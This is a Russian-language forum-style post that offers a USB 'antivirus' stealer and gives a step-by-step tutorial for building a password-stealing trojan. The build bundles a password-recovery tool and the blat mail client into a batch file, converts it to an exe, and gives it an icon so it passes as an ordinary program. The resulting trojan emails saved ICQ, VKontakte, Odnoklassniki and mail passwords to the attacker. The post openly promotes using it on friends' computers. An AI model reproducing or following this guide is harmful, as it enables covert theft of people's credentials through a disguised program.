Антивирус Stealer — эту программу разархивировать, скопировать на флешку 2 файла и папку(Антивирус.bat,autorun.inf,prog) и можно ходить с флешкой по друзьям! Вставляешь флешку в комп, нажимаешь Антивирус.bat, как он остановиться можно закрывать и доставать флешку, все пароли какие есть в компе у вас на флешке, они будут храниться в папке «prog»—>»log».
Здесь я расскажу как сделать простой троян для кражи паролей от ICQ, Vkontakte, Odnoklassniki, Mail… и т.д и т.п…
Приступим… для начало нам нужны некоторый программы:
Multi Password Recovery- утилита для восстановления забытых паролей
blat- почтовый клиент.
Bat to Exe converter- конвертер форматов bat- exe.
Всё это вы можете скачать одним архивом:
Вы должны быть зарегистрированы, чтобы видеть ссылки.
Качаем и распаковываем в отдельную папку…
Теперь открываем файл «1.bat» блокнотом… и меняем слова «Логин»-на свой логин от почты на яндексе…. а слово «Пароль» меняем на свой пароль от яндекс почты…
Сохраняем и закрываем…
Теперь открываем «Bat_To_Exe_Converter»…
В поле «Batch file» указываем сохранёный вами файл «1.bat»
Поле «Save as» не изменяем…
Выставляем настройки как показано ниже:
Теперь идём во вкладку «Include»…
И переносим туда все файлы из папок «blat»и»MPR…»
Их должно быть ровно семь!!!Как показано выше!!!
Ну а теперь добавим своему троянчику иконку… это делать не обязательно но так больше похоже на какую либо программу…
Переходим во вкладку «Versioninformations» и в поле «Icon fie» выбираем иконку….
Жмём «Compile»…
Ждём… завершение загрузки… и проверяем папку с файлом «1.bat»… там должен был появится ваш троян «1.exe»(Вы можете его обозвать как вам угодно
)…
Ну а теперь проверяем… запускаем троянчик у себя и ждём… через секунд 30… вам на почту прийдёт файлик… качаем его(в нём и хранятся пароли)
Скачали… теперь запускаем его через «MPR» и любуемся паролями